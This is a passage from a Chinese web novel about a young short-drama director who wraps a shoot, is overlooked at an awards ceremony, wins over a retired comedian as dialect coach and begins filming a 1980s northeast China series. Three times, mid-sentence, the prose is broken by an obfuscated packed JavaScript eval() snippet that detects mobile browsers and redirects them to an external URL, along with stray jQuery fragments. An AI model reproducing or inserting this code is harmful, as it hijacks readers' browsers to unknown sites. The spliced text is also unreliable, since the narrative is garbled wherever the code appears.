蔡妍花了一个小时才给他戴好,要严丝合缝,又要不影响表情。 面具遮住他下半张脸,只露出眼睛和额头。那双眼睛在金属的衬托下,显得格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197648|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深邃。 “Action!” 竹林深处的小屋里,江挽月饰演的楚凤翎站在窗边。 她背对着林寂,声音很平静,“你救了我三次。我不喜欢欠人情。” 林寂饰演的谢无音站在阴影里。 他沉默了很久,然后抬起手,手指搭在面具边缘。 镜头推近。 特写他手指的颤抖,不是害怕,是一种积蓄多年终于要决堤的紧张。 面具缓缓掀起一角。 露出下巴,然后是被烧毁的皮肤,凹凸不平的疤痕,泛着不自然的红。 江挽月转过身。 她的目光落在那些疤痕上,没有惊讶,没有怜悯,甚至没有多余的情绪。 她只是看着,然后说:“就这个?” 林寂的眼睛在面具后微微睁大。 “我以为是什么大事。”江挽月走近一步,目光坦荡,“伤就是伤,疤就是疤。你因为这个藏了二十年?” “Cut!”温清水喊。 监视器里回放刚才的镜头。 林寂眼睛里那种震惊到茫然再到隐隐释然的转变,抓得极其精准。 江挽月的坦荡和直接,也恰到好处,楚凤翎不是圣母,她是见惯生死,看透皮囊的将军。 “过了。”温清水说,“林寂,刚才眼神变化非常好。江老师,你走位时那个停顿再短半秒,楚凤翎不是犹豫,是观察。” “明白。”江挽月点头。 “林寂,下一场你摘下面具后,呼吸要重一点。”温清水转向他,“不是喘,是那种终于能正常呼吸的感觉。” 林寂认真记下,“好。” 这场戏拍到傍晚才结束。 收工时天已经擦黑,基地亮起零星的灯。 温清水终于得空点了份外卖,拌面,加糖,多醋。 她坐在监视器后面吃,面前摊着明天的分镜本。 面有点坨了,但她吃得很认真,一边吃一边用铅笔在剧本上标注。 林寂就是这时候过来的。 他卸了妆,换了平时的卫衣,脸上还残留着一点妆粉。 他站在那儿,有点局促,“温导,我想请教一下明天那场戏。” “坐。”温清水指了指旁边的折叠椅,把面碗往旁边挪了挪,“哪场?” “谢无音和萧寒对峙那场。”林寂坐下,翻开剧本,“你说谢无音这时候已经不怕被人看见了,但我总觉得还是该有点什么。” 温清水放下筷子,接过剧本。 那页已经写满了林寂的批注,字迹工整。 “你觉得该有什么?”她反问。 林寂想了想,“不是害怕,也不是释然,像是一种‘习惯了隐藏,突然不藏了反而不知道怎么办’的笨拙。” 温清水看着他,“对。就是这种笨拙。” 她拿起铅笔,在剧本空白处画了简单的示意图,“比如这里,萧寒第一次看见他的脸,谢无音本能地想侧过脸,但侧到一半,停住了。因为他意识到,不需要侧了。” 林寂盯着那个简单的箭头,忽然明白了,“所以不是坦然,是练习坦然。” “对。”温清水笑了,“第一次做任何事都会笨拙。哪怕是‘做自己’这种事。” 他们又讨论了半小时。 从眼神的角度到手部的细节,从呼吸的节奏到脚步的轻重。 林寂问得很细,温清水答得更细。 棚里其他人都走光了,只剩下他们和几盏还亮着的灯。 讨论完,林寂合上剧本,却没立刻起身。 他看了看温清水手边那碗已经凉透的拌面,又看了看她眼底淡淡的青黑,犹豫了一下,轻声说,“温导,你这样会很累。” 温清水正在收拾铅笔,闻言停下了动作。 她抬起头,对上林寂关心的目光,忽然笑了。 有点疲倦,但很真实。 “想拍好一部戏,总要付出点什么。”她的声音很轻,“不用担心我。” 林寂点点头,没再说什么。 他站起来,把椅子归位,走到棚口时又回头,“那我先回去了。温导你也早点休息。” “好。”温清水说,“明天加油。你今天已经表现得非常好了。” 林寂眼睛弯了弯,转身走进夜色里。 夜风吹进棚里,带着山林特有的凉意。 她端起那碗凉透的拌面,又吃了一口。 面真的坨了,口感不好。 棚外,星星一颗一颗亮起来。 20. 颁奖台 杀青后的第五天,晴天工作室的落地窗前,温清水又坐回了那个熟悉的位置。 晨光熹微,笼罩着桌前的一小片区域。 她坐在光带边缘的阴影里,面前摊着三本厚厚的资料书——《八十年代东北老照片集》《中国改革开放口述史》《哈尔滨城市记忆》。 身体有些倦怠。 连续几个月的高强度工作,她像一根被拉到极限的弦,突然松下来时,反而有种无处着力的虚浮感。 肩膀僵硬,颈椎隐隐发酸,乔舒然笑说她的黑眼圈像大熊猫。 但她已经渐渐习惯了,就像习惯晨起时的那杯黑咖啡。 味道虽然苦涩,但身体确实记住了那种清醒的感觉。 傍晚六点,她合上书,起身活动了下僵硬的肩颈。 夕阳正沉,把整面落地窗染成暖橙色。 她收拾好背包,在楼下便利店买了份还温热的粥和小菜,打车去了医院。 桑晚的病房在住院部十二楼。 走廊很长,消毒水的气味浓得化不开。 温清水走到门口时,正看见桑晚的母亲坐在床边的椅子上,低头削苹果。 “阿姨。”温清水轻声唤。 桑母抬起头,看见她,笑了,“清水来了。” 她接过温清水手里的餐盒,小声说,“医生说今天指标不错,不用每次都给我带晚饭。” 温清水在床边的另一把椅子上坐下。 桑晚依旧安静地躺着,闭着眼,她的呼吸平稳而轻缓。 床头的心电监护仪发出规律的低鸣,绿色的线条起起伏伏。 “你今天怎么样?”桑母问,把削好的苹果切成小块,放在小碗里。 “还好。”温清水说,“新剧杀青了,在准备下一部。” “别太累。”桑母看着她,眼神关切,“你比上次来又瘦了。” 温清水笑了笑,说最近正好在减肥。 她和桑母聊了一会儿天,或许自己向来有逗人笑的天赋,讲起自己小时候被摔掉门牙的事,桑母难得地露了笑容。 从医院出来时,天已经完全黑了。 温清水没立刻回家,而是拐进了街角一家二十四小时便利店。 她买了瓶水,在靠窗的高脚凳上坐下,划开了手机。 短视频推送第一个跳出来的,就是她前些天看过的那个转场剪辑。 《无声告白》里苏念流泪侧脸与陆子谦擦泪手指的叠化,点赞数已经从六十万涨到了一百二十七万。 评论区热闹得不像话: 「救命这个转场我看了五十遍!」 「苏念和陆子谦给我锁死!!!」 「谁能想到这是短剧?这质感这演技吊打多少上星剧」 「导演是神!求求多拍!」 她往下滑,看见好几个影视营销号发了分析帖:「《无声告白》男女主半月涨粉超二十万,短剧演员的春天来了?」「演技派突围:短剧如何成为演员跳板?」 温清水看着那些字句,手指覆在冰凉的手机边缘。 便利店的白色灯光从头顶洒下来,在屏幕上反出一小片光晕。 她想起很多年前,自己写的第一本小说被魔改时,她也是这样坐在便利店,看着窗外的车流,无声地流着眼泪。 那时桑晚给她发消息:“清水,别灰心。总有一天,他们会看见你。” 现在,他们看见了。 可她心里却没什么波澜,只有一种恍如隔世的感觉。 像走了很远的路,回头看去,来路已经模糊在雾气里。 她收起手机,走出便利店。 夜风很凉,吹在脸上,让人清醒。 新剧的构思在脑子里慢慢成形。 不是古装,不是虐恋,是更贴近土地的故事,80年代的东北,一条普通的街道,一个普通的家庭。 母亲在街口摆摊卖衣服,父亲开出租车,两个哥哥一个妹妹,还有隔壁爱唱二人转的王大爷、总想着南下的李婶、刚考上大学的张家闺女。 她想写时代洪流里的小人物。 在冰天雪地里热气腾腾的新年,大家在下岗潮中的坚韧求生,还有两代人的观念碰撞。 她想用镜头,剔除一些刻板印象,不是只有“你瞅啥”的方言,还有大雪天邻居互送酸菜的热心;不是只有靠着行业暴富的生意人,还有下岗工人为了家人重新学手艺的背影。 凌晨两点,工作室里只剩她一个人。 她把初步的人物小传和大纲整理好,发给乔舒然和蔡妍。 手机屏幕还亮着,停留在和金栀子盛典主办方的聊天界面。 对方发来了详细流程:11月11日晚七点,华城国际会议中心,红毯颁奖晚宴。着装要求:正装。 她回了句「收到,谢谢」,关掉屏幕。 六月十八日,华城下着小雨。 雨丝细细密密的,把外滩的建筑群晕染成模糊的水彩画。 温清水坐在前往会场的车里,看着车窗上蜿蜒的水痕。 她穿了米棕色色的西装套装,内搭一件简单的白色丝质衬衫,扣子系到最上面一颗。 头发在脑后低低挽了个髻,露出清晰的脖颈线条。 妆容很淡,只加深了眉形,涂了层哑光口红。 蔡妍在酒店房间给她做完造型时,围着她转了两圈,“要是黑眼圈淡一点会更好看,可惜了你的颜值。” 温清轻笑,“是你手艺好。” 蔡妍替她整了整衣领,“你就会说好听话。” 会场里已经热闹起来。 红毯区闪光灯此起彼伏,衣香鬓影,笑语喧哗。 温清水没走红毯,导演区有专门的通道。 她跟着工作人员指引,走进内场。 导演区在会场左侧,位置靠前,但灯光偏暗,没有摄像机直接对着。 座位上已经坐了几个人,都是中年男性,穿着各式西装,正低声交谈。 温清水找到自己的位置坐下,乔舒然在她旁边,已经打开了手机。 “直播开始了。”乔舒然把屏幕侧过来给她看,“弹幕都在夸阮月白和林曦的造型——‘阮月白今晚美神降临’‘林曦这身西装杀我’哇,还有人说‘果然人红了脸都清晰了’。” 温清水笑了笑,看向舞台。 灯光璀璨,主持人正在串场。 背景大屏幕上播放着提名短剧的片段集锦,《春日负暄》里阮月白在雨中的回眸,《无声告白》里苏念跪在雨中的墓碑前。 每个画面闪过,台下都会响起掌声。 旁边几位导演的谈话声飘过来。 “现在这市场,真看不懂。”一个戴眼镜的中年男人摇头,“观众口味变得太快。上个月还流行甜宠,这个月就全是虐恋。” “短剧门槛太低了。”另一个秃顶男人接话,“什么人都能拍。你看那个《无声告白》,哭哭啼啼的,有什么意思?不就是无病呻吟么。” “导演是个新人吧,叫什么,温清水?”第三个人说,“听说是编剧转的。编剧转导演,能拍出什么好东西?镜头语言估计一塌糊涂。” 温清水没回头,也没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204759|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,阮月白和林曦正好从后台走下来。 看见温清水,两人都抬手打着招呼。 温清水对他们轻笑,点了点头。 那几位导演这才注意到她。 有个男人凑近了些,“这位是……?” “温清水。”温清水转过头,声音很平静,“《无声告白》的导演。” 空气安静了几秒。 戴眼镜的男人尴尬地清了清嗓子,“温导,幸会幸会。刚才我们就随便说说,您别放在心上。” “没关系。”温清水说,“每个人都有不同的审美标准。” 她转回头,继续看向舞台。 那几人互相看了看,没再说话。 徐铭就是在这时姗姗来迟的。 他穿着一身昂贵的定制西装,头发梳得一丝不苟,脸上带着那种惯常的笑容。走到导演区时,他一眼就看见了温清水。 “温导。”他走过来,伸出手,“好久不见。恭喜啊,两部剧都提名了。” 温清水起身,和他握了手,“徐导,好久不见。” “坐,坐。”徐铭在她旁边的空位坐下,目光在她身上扫了一圈,“温导今天这身很特别。不愧是年轻人,有想法。” 这话听着像夸奖,但语气里那种若有若无的优越感。 温清水只是笑了笑,没接话。 颁奖环节开始了。 最佳短剧女主角颁给了阮月白。 她上台时眼眶有点红,感谢词说到一半,忽然看向导演区,“最后,要特别感谢我的导演,温清水。是你让我相信,演员可以不只是漂亮的脸,还可以是有故事的人。” 镜头很识趣地切到温清水。 大屏幕上出现她平静的侧脸,她对着镜头,很轻地点了点头。 最佳短剧男主角给了陆子谦。 最佳短剧的奖项,最终颁给了《春日负暄》。 徐铭侧过头,对温清水说:“温导,该你上台了。” 温清水摇摇头,“徐导,这个奖是剧组的荣誉。您是前辈,应该您去领。” 她说得诚恳,姿态放得很低。 徐铭盯着她看了两秒,淡淡笑了:“那我就代劳了。” 他走上台,接过奖杯,说了些冠冕堂皇的场面话。灯光打在他身上,西装笔挺,笑容得体。但温清水在台下看着,在适当的时刻抬手鼓掌。 晚宴环节,徐铭又走过来。 “温导,一会儿结束,几个朋友组了个局,在附近的私人会所。”他压低声音,“都是圈里有头有脸的人物。你也一起来?认识认识,对你以后发展有好处。” 温清水知道那种“局”,名义上是交流,实际上是另一套规则。 酒,应酬,或许还有更隐晦的东西。 “谢谢徐导好意。”她语气礼貌而疏离,“不过我明天一早的飞机,得回去准备新剧。下次有机会再聚。” 徐铭盯着她,眼神里有了点深意,“行。那下次。” 他转身走了。 乔舒然凑过来,小声说:“这些场合咱们不去最好,省得以后出事了还要带上你的名字。” 温清水点点头。 她看着徐铭的背影消失在人群里,又转头看向那个灯光璀璨的舞台。 那个她今晚没有走上去的,领奖台。 心里没有不甘,没有愤怒,只有一种很清晰的决心。 总有一天,她会凭自己的作品,堂堂正正地站在那上面。 不是为了奖杯,不是为了掌声。 是为了证明,她选择的这条路,可以走通。 21. 老演员 工作室的晨光总是来得恰好。 九点过五分,阳光斜斜地穿过百叶窗。 温清水坐在办公桌前,手边摊着新剧《北街往事》的人物关系图。 乔舒然推门进来,把平板电脑放到温清水面前,手指在屏幕上轻点几下。 “联系上了。”她的声音里带着掩不住的笑意,“你拟的那几位主演,目前都点头了。档期也调得开,下个月初就能进组。” 温清水抬起头。 光栅正好横在她的眉骨上,眉眼清冷,但黑眼圈明显。 “好。”她应声。 窗外的梧桐树上,一只麻雀蹦跳着从这枝跃到那枝,抖落几片早枯的叶子。 “还有,”乔舒然凑近些,压低声音,“林寂想和你谈谈转型的事。” 下午三点,茶馆的那棵杏树已经没什么花了。 只剩下几片残瓣挂在枝头,在风里颤巍巍地晃。 温清水到的时候,林寂已经等在那里了。 他穿着简单的白色衬衫,头发软软地搭在额前。 卸了妆的脸干净得有些过分,在午后的阳光里,格外的引人注意。 “温导。”他站起身。 “坐。”温清水在他对面的竹椅上坐下。 树影斑驳地落在两人之间,明明灭灭的。 林寂沉默了一会儿,才开口,“《凤鸣朝歌》拍完了,我不太想继续演戏了。” 温清水点头,认真的听着他的话。 “我想学镜头。”他的声音很轻,但每个字都咬得很清楚,“我想知道怎么用画面讲故事,怎么用光影说话。我想成为,镜头后面那个传递感情的人。” 风过杏树,最后一片花瓣飘下来,落在石桌上。 她知道林寂是什么样的人。 在剧组这几个月,他话不多,但做事扎实。 有空就蹲在监视器后面看,问摄影老陈各种问题。老陈后来跟她说过好几次:“这小子够勤奋,也敢钻研。” “晴天缺人。”温清水开口,“你想来,随时欢迎。” “不过,”温清水顿了顿,“《凤鸣朝歌》马上要上了。预告片里你露脸的镜头剪进去了,后续宣传可能会用。你要是介意的话,” “导演安排就好。”林寂打断她,语气很坚定,“我信你。” 他补充道:“而且我也需要这种曝光。给自己,也给一直等我的粉丝一个交代。” 温清水看着他,忽然笑了。 那笑很浅,只是嘴角微微扬起,可眼里的光却柔软下来。 “好。”她说,“期待以后共事。” 手机在这时震动起来。 温清水收回思绪,从口袋里摸出手机。 屏幕亮着,是一条微信消息。 「办妥了,明天下午见面」 拜访韩守业老师的那天,京城下起了今冬第一场小雪。 雪不大,细细碎碎的,落在人肩上就化了。 温清水拎着两个礼盒站在胡同口,看着眼前那家挂着红灯笼的私家菜馆。 招牌是木质的,用隶书写着“东北人家”四个字,漆已经有些斑驳了。 她深吸一口气,白雾在冷空气里散开。 韩守业。 这个名字,大部分人都不陌生,尤其是东北长大的孩子,那是刻在童年记忆里的声音。 她记得小时候,每年除夕,奶奶家的炕烧得热乎乎的。 一家人围坐在电视机前,等着那个穿着中山装,说话带着地道东北腔的老头子出来。 他一开口,满屋子就都是笑声。 奶奶会拍着大腿笑出眼泪,爷爷一边笑一边说:“这老韩头,真能整。” 后来韩守业渐渐淡出了舞台。 有人说他出国养老了,有人说他身体不好,也有人说他就是累了,不想再逗人笑了。 温清水是通过一个做话剧的朋友打听到的,韩老师最近回国了,就住在北京。 她花了三天时间,把韩守业所有能找到的作品,正片、花絮、访谈,甚至早年地方台的录像全看了一遍。 又托人打听到老爷子喜欢喝普洱,爱吃哈尔滨秋林公司的红肠。 所以她今天拎的礼盒里,一盒是陈年普洱,一盒是真空包装的秋林红肠。 菜馆的服务员领她进后院。 那是间单独的包间,门帘是蓝底白花的粗布。 掀开时带起一阵风,吹动了檐下挂着的辣椒串。 包间里暖烘烘的,靠墙是一铺矮炕,炕上摆着张矮桌。 韩守业就盘腿坐在炕头,正举着手机视频。 老爷子穿着件深灰色的毛衣,头发全白了,但梳得整齐。 他对着屏幕那头的人说:“你那包袱抖得不对。得等,等观众那口气提上来了,再往下掉。” 声音不高,但字字清楚,带着拐着弯的东北腔。 温清水站在门口,没动,也没出声。 她知道,既然服务员领她进来了,这段视频通话就是老爷子默许她听的。 这是第一道考题。 她安静地站着,把手里的礼盒轻轻放在门边的矮柜上。 放得很轻,几乎没发出声音。 视频那头是个年轻男人的声音:“师父,我明白了。那我明天再练练。” “行。”韩守业说,“挂了吧,我这儿来人了。” 视频挂断。 老爷子把手机往炕上一扔,这才抬眼看向温清水。 “温清水?”他问。 “韩老师好。”温清水上前两步,微微躬身,“我是温清水。打扰您了。” 韩守业没让她坐,只是上下打量她。 从她烟灰色的羊绒大衣,看到她脚上那双沾了雪水的短靴,最后停在她脸上。 “坐吧。”他终于说。 温清水在炕沿坐下,只坐了三分之一,背挺得很直。 “听小赵说,你是导演?”韩守业端起炕桌上的紫砂壶,给自己倒了杯茶。没给她倒。 “是。”温清水点头,“拍了几个短剧。” “我不爱看那些新潮的,就围着男女那点事。”老爷子抿了口茶。 这话说得很直,甚至有点刻薄。 但温清水没辩解,只是笑了笑,“是,情感戏多了些。所以这次想换换路子。” “哦?”韩守业抬眼看她,“什么路子?” “东北题材。”温清水说,“讲80年代哈尔滨一条街上的普通人。母亲摆摊卖衣服,父亲开出租,三个孩子。” 她尽量简洁地把《北街往事》的框架说了说。没说那些宏大的时代叙事,只说那些细碎的日常。 韩守业一直听着,脸上没什么表情。 等她说完了,老爷子又喝了口茶,才慢悠悠开口,“想法不错。但你找我干嘛?我早就不演戏了。” “想请您做台词指导。”温清水说得很诚恳,“剧里很多角色要说东北话。不是那种‘你瞅啥’的刻板方言,是真正的带生活气的东北话。我团队里没有这样的老师,所以……” “所以找上我了。”韩守业接过话头, 他笑了。那笑里没什么温度,“小姑娘,我退休十年了。十年,够一代人长大了。我现在就想养养花、喝喝茶、教教徒弟,清静。你这事儿,我帮不了。” 温清水看着他的眼睛。 她知道,这话说出来,基本就是拒绝了。 但她没立刻起身告辞,再次开口,“韩老师,其实我是您的粉丝。” 韩守业挑了下眉。 “小时候,每年除夕,我都守在电视机前等您的小品。”温清水的语速很慢,像在回忆什么遥远的事,“我奶奶特别爱看您,每次您一出场,她都笑得很开心。” 老爷子脸上的神色松动了一点。 “当然,”温清水接着说,“大部分老百姓,都是看您的小品过年的。” 这句话她说得很自然,没有刻意奉承的意思,只是陈述一个事实。 韩守业盯着她看了两秒,忽然乐了。 “你这丫头,嘴挺会说话。”他放下茶杯,“那你说说,都看过我啥?” 温清水开始数。 从80年代那部让韩守业一炮而红的《车站》,到90年代经典的《卖瓜》《相亲》,再到千禧年后的《老韩头的幸福生活》《回家过年》。 她一部一部说,不光说作品名字,还说得出里头经典的包袱,甚至某个细微的表情设计。 韩守业听着,手指在炕桌上一下一下地敲。 等温清水说到一部很冷门的小品《雪夜》时,老爷子的手指停了。 “这部你也看过?”他问。 “看过。”温清水点头,“小时候跟我奶奶一起看的。那时候信号不好,电视屏幕雪花一片,但我还是看完了。” “记得讲啥吗?” “记得。一个老铁路工人在暴风雪夜值班,来了个迷路的小姑娘。一老一少在值班室里待了一夜,老人给小姑娘讲故事,讲他这辈子见过的来来往往的人。” 温清水把剧情简要说了一遍。 韩守业看着她,没说话。 包间里很静,能听见后院雪压断枯枝的轻微脆响。 “最近还重温了?”老爷子忽然问。 “嗯。”温清水说,“为了来见您,又把能找到的都看了一遍。” 韩守业又给自己倒了杯茶。 这次,他拿起另一个杯子,也给温清水倒了一杯。 茶汤是深琥珀色的,冒着热气。 “那,”老爷子把杯子推到她面前,眼睛盯着她,“你能给我演一段吗?” 温清水愣了一下。 “演《雪夜》里那段。”韩守业说,“小姑娘问老人:‘爷爷,你一个人在这儿,不害怕吗’老人回:‘怕啥?这铁道上的灯,亮了一辈子了’然后两人对着窗外的雪说话那段。 温清水看着他的眼睛。 那是一双清亮也带着审视的目光。 她知道,这是考验。 这些天她翻遍了韩守业的履历,从县城剧团的学徒,到站上除夕夜的舞台,这条路他走了三十年。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210513|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个在东北那片冰凉辽阔的土地上,从最底层摸爬滚打上来的人,最讨厌的就是小辈在自己面前“拿架子”。 他要看的,是她能不能放下那些所谓的“脸面”。 温清水深吸了一口气。 她站起身,脱掉了身上的羊绒大衣,露出里面简单的黑色毛衣。 她把头发往后拢了拢,走到包间中央那片空地上。 包间里其实不止他们两人。 炕边还站着两个年轻男人,应该是韩守业的徒弟。门帘外似乎也有人影,服务员,或者其他徒弟。 但没人出声,大家都静静看着。 温清水闭上了眼睛。 三秒后,她睁开。 那一瞬间,她整个人都变了。 她先是侧过身,背微微佝偻,手虚虚地抬着,像在擦一扇看不见的窗户。 声音压得低哑,带着老人的沧桑: “怕啥?这铁道上的灯,亮了一辈子了。我在这儿守了三十年,看过南来北往多少人哪……” 那是韩守业在《雪夜》里的台词。 她不仅背得一字不差,连那种叹息的尾音,都模仿得惟妙惟肖。 然后她转过身,身子微微蹲下,仰起脸,眼神变得清澈而怯生生的: “爷爷,那些人,都去哪儿了呀?” 她一人分饰四角——老人、小姑娘、老人回忆里那个总是拎着酒壶的老工友,还有小姑娘口中那个“去南方打工再也不回来”的爸爸。 五分钟的戏,她调换着站位,变换着身形和表情。 最难的是中间那段,小姑娘学邻居家的“傻儿子”说话。 原剧里,那是韩守业设计的笑点,但要求演员完全放下形象,做出近乎丑角的表演。 温清水演到这里时,没有丝毫犹豫。 她歪起嘴,眼睛斜着,舌头在嘴里打转,发出含糊不清的“啊啊”声,手还做出不协调的摆动。 她演得格外投入,好像忘了周围还有人在看。 她只是在演。全心全意地演。 台词她背得滚瓜烂熟。 五分钟里,没有一处卡壳,没有一处犹豫。 最后一个镜头,老人和小姑娘并肩站在“窗前”,看着“窗外”的雪。 温清水先是侧身,用老人的声音说:“雪停了。” 她转过来一点,用小女儿的声音,轻轻地说:“嗯。天快亮了。” 她静在那里,维持着那个姿势。 最后,她缓缓直起身,转过身,面对韩守业。 包间里鸦雀无声。 温清水的胸口微微起伏着,额角渗出了细密的汗。 没有人鼓掌。 那两个徒弟站着没动,门帘外的人影也静着。 只有炕桌上那壶茶,还在冒着丝丝缕缕的热气。 韩守业看着她,看了很久。 老爷子的脸上没什么表情,只是沉默的看着温清水。 他想起很多年前,自己还年轻的时候,在县城的破剧场里演出。台下没几个人,有的在嗑瓜子,有的在聊天,没人认真看。 但他还是演,用尽全身力气去演,演到汗湿透衣服,演到嗓子发哑。 那时候,也没人鼓掌。 可他一直演,演了十年,二十年,三十年。 终于有一天,他站上了除夕夜的舞台,全国的人都在看他笑。 韩守业端起茶杯,喝了一口。 茶已经有些凉了。 “这事,”他放下杯子,声音很平静,“我再考虑考虑。” 温清水的心往下一沉。 但她脸上的笑容没变,只是很轻地点了点头,“好。那我不打扰您了。” 她弯腰,拿起自己的大衣,穿好。 她走到门边,没有去碰那两个礼盒,只是对韩守业又鞠了一躬。 “韩老师,谢谢您今天愿意见我。” 说完,她转身,伸手去掀门帘。 手刚碰到那蓝底白花的粗布,身后忽然响起老爷子的声音: “来都来了,吃顿饭再走。” 温清水的手停在半空。 她缓缓转过身。 韩守业已经下了炕,正背着手看她。 “这儿的酸菜白肉锅子不错。”他说,“炖得烂,入味。” 温清水站在那里,一时间没反应过来。 直到炕边一个留着短发的女徒弟走过来,递给她一杯温水,轻声说:“温导,先喝口水吧。你刚才演得真好。” 温清水接过水杯,手指碰到杯壁,是温的。 她抬起头,看向韩守业。 老爷子已经坐回炕上,正招呼服务员:“加副碗筷。锅子可以上了。” 周围的徒弟们这时才活过来似的,有人去搬凳子,有人去调蘸料,有人笑着说“师父今天心情好啊”。 包间里忽然有了人气,暖烘烘的,和窗外的雪成了两个世界。 温清水捧着那杯温水,慢慢地,喝了一口。 水是甜的。 她低下头,很轻地笑了。 22. 演戏 温清水在沙发上醒过来,脖子僵得发疼。 她昨晚看分镜本看到凌晨三点,最后抱着平板电脑在沙发上睡着了。 屏幕已经暗了,只有电源灯还亮着一点微弱的红光。 手机在茶几上震动起来,嗡嗡的,持续了很久。 她伸手去够,指尖碰到冰凉的屏幕。 解锁,是那个没有头像的号码发来的消息,时间显示是凌晨四点二十七分。 「温小姐,调查到此为止。这半年的费用,我会原路退回。」 温清水盯着那行字,看了很久。 久到屏幕自动暗下去,映出她自己模糊的脸,头发乱糟糟地翘着,眼底有淡淡的青。 她重新按亮,打字:「什么叫到此为止?」 对方回得很快:「就是字面意思。后面的路,我走不了。」 「你就没有点职业道德吗?」 「干这行的,哪有什么道德。」那边停顿了几秒,「大家都不容易,见好就收吧。」 温清水握着手机,从刚睡醒的困倦里恢复。 客厅里很静,只有冰箱压缩机启动时的轻微嗡鸣,像某种遥远的心跳。 「是查到了惹不起的人吗?」她打字。 对面沉默了。 对话框上方的“正在输入”断断续续闪了很久,最后只发过来四个字: 「别趟浑水。」 那个号码就再也没有回复。 温清水关掉手机,把它扔在沙发上。 手机落在绒布面料上,发出沉闷的一声。 她向后靠进沙发背里,闭上眼睛。 眼皮内侧是暗红色的光晕,一跳一跳的,像心跳,也像某种警告。 半年了,从桑晚出事到现在,整整半年。 她找了这个侦探,每个月按时付钱,每周等消息。 有时候会收到一点进展,比如那个司机妻子的汇款记录,比如当年办案交警的提前退休,比如那几笔从境外来的也查不清来源的钱。 像拼图,一块一块,缓慢地拼。 她以为至少能拼出个轮廓。 结果现在,拼图的人说,这盒子我打不开了。 他把钱退回来,撇清关系,像在说:这事太大了,我接不住,你也别碰。 温清水睁开眼睛,看着天花板。 白色的,很干净,什么都没有。 就像她手里现在握着的线索,也什么都没有。 窗外传来鸟叫,叽叽喳喳的,很吵。 是麻雀,就在空调外机上蹦跳。 她坐起身,揉了揉僵硬的脖子,骨头发出轻微的咔嗒声。 她站起来,赤脚走进浴室。 冷水扑在脸上,刺得皮肤发紧。 她抬起头,看着镜子里的人。 水珠顺着脸颊往下淌,滴在锁骨上,冰凉。 她扯了扯嘴角,镜子里的那个人也扯了扯嘴角。 不像笑,像某种自嘲。 今天新剧开拍。 她没时间在这里自怜。 《北街往事》的拍摄地选在了城北一座改建的老医院。 那是栋五十年代的苏式建筑,红砖墙,拱形窗,屋顶有苏联式的尖顶。 医院前年搬迁了新址,这栋老楼一直空着,直到温清水看中了它的年代感。 美术组花了半个月改造:墙面粉刷成八十年代医院常见的淡绿色,下半截刷了深绿色的墙裙;老式日光灯管悬在天花板上,偶尔会嗡嗡作响;水泥地面保留着原来的样子,有些地方磨得发亮,有些地方裂了细缝;走廊两侧的长椅是木头的,漆已经斑驳,露出里面深色的木纹。 此刻,这里活过来了。 韩守业背着手在场景里踱步。 老爷子今天穿了件深蓝色的夹克,头发梳得一丝不苟。 他走到柜台前,拿起那个算盘,熟练地拨了两下,珠子碰撞发出清脆的响声。 “这算盘不错。”他说,“是真的老物件。” “从旧货市场淘的。”道具组的小伙子挠挠头,“跑了三个市场才找到。” 韩守业点点头,又把算盘放回去。 他转过身,看见温清水走进来,抬手打了个招呼,没多话,继续去看布景里的其他细节。 温清水走到监视器后面。 林寂已经在那里了,肩上挎着相机包,手里拿着个小本子,正低头记着什么。 听见脚步声,他抬起头,“温导。” “来了。”温清水说,“跟着老陈学?” “嗯。”林寂点头,指了指不远处正在调整轨道的摄影指导老陈,“陈老师说今天先让我看走位和打光,明天再让我试试掌机。” “慢慢来。”温清水说,“不急。” 林寂看着她,忽然问:“温导,你脸色不太好。” “没事。”温清水摇摇头,“昨晚没睡好。” 第一场戏马上开拍了。 走廊里安静得能听见日光灯管的嗡嗡声。 沈舟饰演的□□在产房门口踱步,皮鞋踩在水泥地上,发出“嗒、嗒、嗒”的规律声响。他走得很直,很稳,但额头渗出了细密的汗。 两个儿子并排坐在长椅上。 七岁的大刚坐得笔直,五岁的二刚晃着腿,手里的纸飞机已经被捏得有点皱了。 产房里又传来一声压抑的喘息。 □□的脚步顿了一下。 就在这时,韩守业的声音从监视器那边传过来,不高,但清晰: “停一下。” 现场所有人都看向老爷子。 韩守业背着手走过来,棉服的领子立着,围巾松松地搭在肩上。 他先看了看沈舟,又看了看两个小演员,最后目光落在隔壁李叔身上,饰演李叔的是剧组请来的东北本地老演员,五十多岁,一脸朴实相。 “老李,”韩守业开口,“你刚才在想什么?” 李叔愣了一下,下意识摸了摸口袋里那根没点的烟,“我在想,建国这都第三个了,应该没那么紧张了吧。” 